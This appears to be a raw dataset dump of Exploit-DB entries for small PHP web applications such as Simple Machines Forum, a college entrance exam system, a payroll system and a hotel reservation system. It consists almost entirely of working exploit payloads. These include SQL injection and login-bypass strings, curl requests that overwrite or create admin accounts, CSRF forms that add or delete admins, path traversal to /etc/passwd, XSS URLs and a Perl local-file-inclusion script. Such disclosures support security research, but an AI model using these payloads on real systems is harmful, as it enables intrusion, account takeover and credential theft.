deardaniel/secdata-raw huggingface dataset:
Exploit-DB #37027
Description: Simple Machines Forum (SMF) 2.0.2 - 'scheduled' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-03-29
Author: Am!r

Exploit:
source: https://www.securityfocus.com/bid/52822/info

Simple Machines Forum is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Simple Machines Forum 2.0.2 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?scheduled=[Xss]
Exploit-DB #28362
Description: Simple One File Guestbook 1.0 - Security Bypass
Type: webapps
Platform: php
Date: 2006-08-09
Author: omnipresent

Exploit:
source: https://www.securityfocus.com/bid/19437/info

Simple one-file guestbook is prone to a security-bypass vulnerability. An attacker can bypass authentication measures by using a specific URL to delete all guestbook entries.

Version 1.0 of Simple one-file guestbook is vulnerable. Other versions may be affected as well.

#Simple One-File Guestbook Adminstrator Credential Bypass
#Proof of Concept URL

http://www.example.com/[path]/guestbook.php?id=4
Exploit-DB #29643
Description: Simple one-file Gallery - 'gallery.php?f' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-02-23
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/22700/info
 
Simple one-file gallery is prone to multiple input-validation vulnerabilities, including a local file-include issue and a cross-site scripting issue.
 
An attacker can exploit these issues to steal cookie-based authentication credentials and to view and execute arbitrary local files within the context of the affected webserver. Other attacks are also possible.
 
http://www.example.com/gallery.php?f=[xss]
Exploit-DB #29642
Description: Simple one-file Gallery - 'gallery.php?f' Traversal Arbitrary File Access
Type: webapps
Platform: php
Date: 2007-02-23
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/22700/info

Simple one-file gallery is prone to multiple input-validation vulnerabilities, including a local file-include issue and a cross-site scripting issue.

An attacker can exploit these issues to steal cookie-based authentication credentials and to view and execute arbitrary local files within the context of the affected webserver. Other attacks are also possible. 

http://www.example.com/gallery.php?f=../../../../../../../../../../../../etc/passwd
Exploit-DB #50398
Description: Simple Online College Entrance Exam System 1.0 - 'Multiple' SQL injection
Type: webapps
Platform: php
Date: 2021-10-08
Author: Amine ismail

Exploit:
# Exploit Title: Simple Online College Entrance Exam System 1.0 - 'Multiple' SQL injection
# Date: 07.10.2021
# Exploit Author: Amine ismail @aminei_
# Vendor Homepage: https://www.sourcecodester.com/php/14976/simple-online-college-entrance-exam-system-php-and-sqlite-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14976&title=Simple+Online+College+Entrance+Exam+System+in+PHP+and+SQLite+Free+Source+Code
# Version: 1.0
# Tested on: Windows 10, Kali Linux
# Multiple SQL injections

The following PoCs will leak the admin username and [CREDENTIAL_REDACTED]:
    http://127.0.0.1/entrance_exam/take_exam.php?id=%27+UNION+SELECT+1,username||%27;%27||password,3,4,5,6,7+FROM+admin_list;

Admin:
    http://127.0.0.1/entrance_exam/admin/view_enrollee.php?id=1'+UNION+SELECT+1,2,3,4,5,6,password,username,9,10,11,12,13,14,15+FROM+admin_list;
Exploit-DB #50397
Description: Simple Online College Entrance Exam System 1.0 - Account Takeover
Type: webapps
Platform: php
Date: 2021-10-08
Author: Amine ismail

Exploit:
# Exploit Title: Simple Online College Entrance Exam System 1.0 - Account Takeover
# Date: 07.10.2021
# Exploit Author: Amine ismail @aminei_
# Vendor Homepage: https://www.sourcecodester.com/php/14976/simple-online-college-entrance-exam-system-php-and-sqlite-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14976&title=Simple+Online+College+Entrance+Exam+System+in+PHP+and+SQLite+Free+Source+Code
# Version: 1.0
# Tested on: Windows 10, Kali Linux
# Unauthenticated password change leading to account takeover

Explanation: By setting the parameter old_password as array, the MD5 function on it returns null, so md5($old_password) == $_SESSION['password'] since we have no session, thus bypassing the check, after that we can use SQLI and inject our custom data.
    
    Request:
        POST /entrance_exam/Actions.php?a=update_credentials HTTP/1.1
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        Content-Length: 129

        id=4&username=test',`password`='916b5dbd201b469998d9b4a4c8bc4e08'+WHERE+admin_id=4;%23&[CREDENTIAL_REDACTED]_out&old_password[]=test

    Vulnerable code in Actions.php:
        function update_credentials(){
            extract($_POST);
            $data = "";
            foreach($_POST as $k => $v){
                if(!in_array($k,array('id','old_password')) && !empty($v)){
                    if(!empty($data)) $data .= ",";
                    if($k == 'password') $v = md5($v);
                    $data .= " `{$k}` = '{$v}' ";
                }
            }
            ...
            if(!empty($password) && md5($old_password) != $_SESSION['password']){
                $resp['status'] = 'failed';
                $resp['msg'] = "Old password is incorrect.";
            }else{
                $sql = "UPDATE `admin_list` set {$data} where admin_id = '{$_SESSION['admin_id']}'";
                @$save = $this->query($sql);

    PoC that changes the password and username of user 'admin' to 'exploitdb':
        curl -d "username=exploitdb',%60password%60='916b5dbd201b469998d9b4a4c8bc4e08' WHERE admin_id=1;%23&[CREDENTIAL_REDACTED]_password[]=useless" -X POST 'http://127.0.0.1/entrance_exam/Actions.php?a=update_credentials'
Exploit-DB #50390
Description: Simple Online College Entrance Exam System 1.0 - SQLi Authentication Bypass
Type: webapps
Platform: php
Date: 2021-10-07
Author: Mevlüt Yılmaz

Exploit:
# Exploit Title: Simple Online College Entrance Exam System 1.0 - SQLi Authentication Bypass
# Date: 07.10.2021
# Exploit Author: Mevlüt Yılmaz
# Vendor Homepage: https://www.sourcecodester.com/php/14976/simple-online-college-entrance-exam-system-php-and-sqlite-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14976&title=Simple+Online+College+Entrance+Exam+System+in+PHP+and+SQLite+Free+Source+Code
# Version: 1.0
# Tested on: Windows 10, Kali Linux
# Simple Online College Entrance Exam System v1.0 Login page can be bypassed with a simple SQLi to the username parameter.

Steps To Reproduce:
1 - Go to the login page http://localhost/entrance_exam/admin/login.php
2 - Enter the payload to username field as "admin' or '1'='1" without double-quotes and type anything to password field.
3 - Click on "Login" button and you are logged in as administrator.

PoC

POST /entrance_exam/Actions.php?a=login HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 45
Origin: http://localhost
Connection: close
Referer: http://localhost/entrance_exam/admin/login.php
Cookie: PHPSESSID=57upokqf37b2fjs4o5tc84cd8n

username=admin'+or+'1'%3D'1&[CREDENTIAL_REDACTED]
Exploit-DB #50396
Description: Simple Online College Entrance Exam System 1.0 - Unauthenticated Admin Creation
Type: webapps
Platform: php
Date: 2021-10-08
Author: Amine ismail

Exploit:
# Exploit Title: Simple Online College Entrance Exam System 1.0 - Unauthenticated Admin Creation
# Date: 07.10.2021
# Exploit Author: Amine ismail @aminei_
# Vendor Homepage: https://www.sourcecodester.com/php/14976/simple-online-college-entrance-exam-system-php-and-sqlite-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14976&title=Simple+Online+College+Entrance+Exam+System+in+PHP+and+SQLite+Free+Source+Code
# Version: 1.0
# Tested on: Windows 10, Kali Linux
# Unauthenticated admin creation

Unauthenticated admin creation:
    
    Request:
        POST /entrance_exam/Actions.php?a=save_admin HTTP/1.1
        Host: 127.0.0.1
        Content-Length: 42

        id=&fullname=admin2&username=admin2&type=1

    PoC to create an admin user named exploitdb and password exploitdb:
    curl -d "id=&fullname=admin&username=exploitdb&type=1&[CREDENTIAL_REDACTED]" -X POST 'http://127.0.0.1/entrance_exam/Actions.php?a=save_admin'
Exploit-DB #48829
Description: Simple Online Food Ordering System 1.0 - 'id' SQL Injection (Unauthenticated)
Type: webapps
Platform: php
Date: 2020-09-24
Author: Aporlorxl23

Exploit:
# Exploit Title: Simple Online Food Ordering System 1.0 - 'id' SQL Injection (Unauthenticated)
# Google Dork: N/A
# Date: 2020-09-22
# Exploit Author: Eren 'Aporlorxl23' Şimşek
# Vendor Homepage: https://www.sourcecodester.com/php/14460/simple-online-food-ordering-system-using-phpmysql.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/simple-online-food-ordering-system-using-php.zip
# Version: 1.0
# Tested on: Linux - XAMPP Server
# CVE : N/A

# Vulnerable Source Code:
# /view_prod.php
# [3] $qry = $conn->query("SELECT * FROM  product_list where id =
".$_GET['id'])->fetch_array();

# PoC:

# Request:

GET /view_prod.php?id=' HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: tr,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close

# Response:

HTTP/1.1 200 OK
Date: Tue, 22 Sep 2020 20:44:48 GMT
Server: Apache/2.4.43 (Unix) OpenSSL/1.1.1g PHP/7.4.7 mod_perl/2.0.11
Perl/v5.30.3
X-Powered-By: PHP/7.4.7
Content-Length: 234
Connection: close
Content-Type: text/html; charset=UTF-8

<br />
<b>Fatal error</b>:  Uncaught Error: Call to a member function
fetch_array() on bool in /opt/lampp/htdocs/view_prod.php:3
Stack trace:
#0 {main}
  thrown in <b>/opt/lampp/htdocs/view_prod.php</b> on line <b>3</b><br />

# As You Can See Here PHP Fatal Error Because
# $qry = $conn->query("SELECT * FROM  product_list where id =
"')->fetch_array();
# id Value ' This is Wrong Syntax.

# Recommended Fix:

You Will Use `mysqli_real_escape_string` On id . And query Will Same With :
$qry = $conn->query('SELECT * FROM  product_list where id
="$_GET['id']"')->fetch_array();
Because Here Not Used "" This is Imported.
Exploit-DB #46462
Description: Simple Online Hotel Reservation System - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2019-02-28
Author: Mr Winst0n

Exploit:
# Exploit Title: Simple Online Hotel Reservation System  - Cross-Site Request Forgery (Add Admin)
# Exploit Author: Mr Winst0n
# Author E-mail: manamtabeshekan[@]gmail[.]com
# Discovery Date: February 25, 2019
# Vendor Homepage: https://code-projects.org/
# Software Link : https://code-projects.org/simple-online-hotel-reservation-system-in-php-with-source-code/
# Tested on: Kali linux, Windows 8.1 

# PoC:

<html>
<head>
	<title>Add Admin</title>
</head>
<body>
	<form method = "POST" action="http://localhost/[PATH]/admin/add_account.php">
		<label>Name </label>
		<input type = "text" name = "name" /><br><br>
		<label>Username </label>
		<input type = "text" name = "username" /><br><br>
		<label>Password </label>
		<input type = "password" name = "password" /><br><br>
		<button name = "add_account">Saved</button>
	</div>
	</form>
</body>
</html>
Exploit-DB #46463
Description: Simple Online Hotel Reservation System - Cross-Site Request Forgery (Delete Admin)
Type: webapps
Platform: php
Date: 2019-02-28
Author: Mr Winst0n

Exploit:
# Exploit Title: Simple Online Hotel Reservation System  - Cross-Site Request Forgery (Delete Admin)
# Exploit Author: Mr Winst0n
# Author E-mail: manamtabeshekan[@]gmail[.]com
# Discovery Date: February 25, 2019
# Vendor Homepage: https://code-projects.org/
# Software Link : https://code-projects.org/simple-online-hotel-reservation-system-in-php-with-source-code/
# Tested on: Kali linux, Windows 8.1 

# PoC:

<html>
<head>
	<title>Delete Admin</title>
</head>
<body>
	<form method = "POST" action="http://localhost/[PATH]/admin/delete_account.php?admin_id=1"> 
		<!-- You can change admin_id -->
		<button>Delete</button>
	</form>
</body>
</html>
Exploit-DB #46461
Description: Simple Online Hotel Reservation System - SQL Injection
Type: webapps
Platform: php
Date: 2019-02-28
Author: Mr Winst0n

Exploit:
# Exploit Title: Simple Online Hotel Reservation System  - SQL Injection / Authentication Bypass
# Exploit Author: Mr Winst0n
# Author E-mail: manamtabeshekan[@]gmail[.]com
# Discovery Date: February 25, 2019
# Vendor Homepage: https://code-projects.org/
# Software Link : https://code-projects.org/simple-online-hotel-reservation-system-in-php-with-source-code/
# Tested on: Kali linux, Windows 8.1 


# PoC:

# Authentication Bypass:

# Go to admin login page (http://localhost/[PATH]/admin/index.php), then use below payload as username and password => Username: ' or 1 -- -			
			Password: ' or 1 -- -

# SQL Injection:

# http://localhost/[PATH]/admin/edit_room.php?room_id=4 [SQLi]
# http://localhost/[PATH]/admin/edit_room.php?room_id=-4%27union%20select%201,2,3,4%20--%20-
Exploit-DB #31098
Description: Simple OS CMS 0.1c_beta - 'login.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-04
Author: Psiczn

Exploit:
source: https://www.securityfocus.com/bid/27589/info

Simple OS CMS is prone to an SQL-injection vulnerability because it fails to adequately sanitize user-supplied data.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Simple OS CMS 0.1c beta is vulnerable; other versions may also be affected. 

The following exploit information is available:

Passing:

username: admin' or 1=1/*
[CREDENTIAL_REDACTED]


will bypass the authentication process.
Exploit-DB #50403
Description: Simple Payroll System 1.0 - SQLi Authentication Bypass
Type: webapps
Platform: php
Date: 2021-10-13
Author: Yash Mahajan

Exploit:
# Exploit Title: Simple Payroll System 1.0 - SQLi Authentication Bypass
# Date: 2021-10-09
# Exploit Author: Yash Mahajan
# Vendor Homepage: https://www.sourcecodester.com/php/14974/simple-payroll-system-dynamic-tax-bracket-php-using-sqlite-free-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/simple_payroll_0.zip
# Version: 1.0
# Tested on: Windows 10
# Description: Simple Payroll System v1.0 Login page can be bypassed with a SQLi into the username parameter.

Steps To Reproduce:

1 - Navigate to http://localhost/simple_payroll/admin/login.php
2 - Enter the payload into the username field as "' or 1=1-- " without double-quotes and type anything into the password field.
3 - Click on "Login" button and you are logged in as administrator.

Proof Of Concept:

POST /simple_payroll/Actions.php?a=login HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 37
Origin: http://localhost
Connection: close
Referer: http://localhost/simple_payroll/admin/login.php
Cookie: PHPSESSID=ijad04l4pfb2oec6u2vmi4ll9p
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

username='+or+1%3D1--+&password=admin
Exploit-DB #50223
Description: Simple Phone Book  1.0 - 'Username' SQL Injection (Unauthenticated)
Type: webapps
Platform: php
Date: 2021-08-23
Author: Justin White

Exploit:
# Exploit Title: Simple Phone book/directory 1.0 - 'Username' SQL Injection (Unauthenticated)
# Date: 21/08/2021
# Exploit Author: Justin White
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/13011/phone-bookphone-directory.html
# Version: 1.0
# Testeted on: Linux (Ubuntu 20.04) using LAMPP

## SQL Injection

# Vulnerable page
http://localhost/PhoneBook/index.php

# Vulnerable paramater 
username1 & password

# POC
Username = ' or sleep(5)='-- -
Password = ' '

Using these to login will have the webapp sleep for 5 seconds, then you will be logged in as "' or sleep(5)='-- -"

# Vulnerable Code
index.php line 13
$sql = mysqli_query($dbcon,"SELECT * FROM userdetails WHERE username = '$username' AND [CREDENTIAL_REDACTED]'");
Exploit-DB #26136
Description: Simple PHP Agenda 2.2.8 - 'edit_event.php?eventid' SQL Injection
Type: webapps
Platform: php
Date: 2013-06-11
Author: Anthony Dubuissez

Exploit:
=============================================
WEBERA ALERT ADVISORY 02
- Discovered by: Anthony Dubuissez
- Severity: high
- CVE Request – 05/06/2013
- CVE Assign – 06/06/2013
- CVE Number – CVE-2013-3961
- Vendor notification – 06/06/2013
- Vendor reply – 10/06/2013
- Public disclosure – 11/06/2013
=============================================

I. VULNERABILITY ————————-
iSQL in php-agenda <= 2.2.8

II. BACKGROUND ————————-
Simple Php Agenda is « a simple agenda tool written in PHP with MySQL backend. An agenda tool accessible everywere 
there’s internet ».

III. DESCRIPTION ————————-
Php-Agenda 2.2.8 and lower versions contain a flaw that allows an authenticated user iSQL attack. This flaw exists 
because the application does not properly sanitize parameters (only rely on mysql_real_escape_string() funcion ) in the 
edit_event.php file. This allows an attacker to create a specially crafted URL to dump multiple informations of the 
databases content.
A valid account is required.

IV. PROOF OF CONCEPT ————————-
dumping login and password of the first admin
iSQL: 
http://server/edit_event.php?eventid=1%20union%20select%201,2,3,username,password,6,7,8,9%20from%20users%20where%20userlevel=9%20limit%200,1

V. BUSINESS IMPACT ————————-
iSQL: We can get sensitive information with the vulnerabilities that can escalate to a complete administrator account.

VI. SYSTEMS AFFECTED ————————-
Php-Agenda 2.2.8 and lower versions

VII. SOLUTION ————————-
sanitize correctly the GET/POST parameter. (don’t rely on the mysql_real_escape_string() functions only…)

VIII. REFERENCES ————————-
http://www.webera.fr/advisory-02-php-agenda-isql-exploit/

IX. CREDITS ————————- 
the vulnerability has been discovered by Anthony Dubuissez (anthony (dot) dubuissez (at) webera (dot) fr).

X. DISCLOSURE TIMELINE ————————-
June 05, 2013: Vulnerability acquired by Webera
June 06, 2013: Sent to vendor.
June 10, 2013: Reply of vendor, vendor release bugfix in version 2.2.9
June 11, 2013: Advisory published and sent to lists.

XI. LEGAL NOTICES ————————-
The information contained within this advisory is supplied « as-is » with no warranties or guarantees of fitness of use 
or otherwise.Webera accepts no responsibility for any damage caused by the use or misuse of this information.

XII. FOLLOW US ————————-
You can follow Webera, news and security advisories at:
On twitter : @erathemass
Exploit-DB #10604
Description: Simple PHP Blog 0.5.1 - Local File Inclusion
Type: webapps
Platform: php
Date: 2009-12-22
Author: jgaliana

Exploit:
# Simple PHP Blog is prone to a local file-include vulnerability because it fails to properly
# sanitize user-supplied input.

#An attacker can exploit this vulnerability to obtain potentially sensitive information or to #execute arbitrary local scripts in the context of the webserver process. This may allow the #attacker to compromise the application and the underlying computer; other attacks are also #possible.

# Simple PHP Blog 0.5.1 is vulnerable; other versions may also be affected. 

#!/usr/bin/perl
# Local File Include Exploit
# Simple PHP Blog <= 0.5.1
# jgaliana <at> isecauditors=dot=com
# Internet Security Auditors

use LWP::UserAgent;

if ($#ARGV < 3) { die("Usage: $0 <site> <path> <file> <cookie>"); }
$ua = LWP::UserAgent->new;
$ua->agent("Simple PHP Blog Exploit ^_^");
$ua->default_header('Cookie' => "sid=$ARGV[3]");
my $req = new HTTP::Request POST =>
"http://$ARGV[0]$ARGV[1]/languages_cgi.php";
$req->content_type('application/x-www-form-urlencoded');
$req->content("blog_language1=../../../../..$ARGV[2]%00");
my $res = $ua->request($req);

if ($res->is_success) {
    print $res->content;
} else {
    print "Error: " .$res->status_line, "\n";
}

#$ perl simple.pl example.com /blog /etc/passwd <my_cookie_here>|head -1
#root:*:0:0:root:/root:/bin/bash
Exploit-DB #33507
Description: Simple PHP Blog 0.5.x - 'search.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-01-12
Author: Sora

Exploit:
source: https://www.securityfocus.com/bid/37752/info

Simple PHP Blog is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Simple PHP Blog 0.5.11 is vulnerable; other versions may also be affected. 

http://serverwww.example.com/blog/search.php?q="><H2>Hacked by Sora</H2>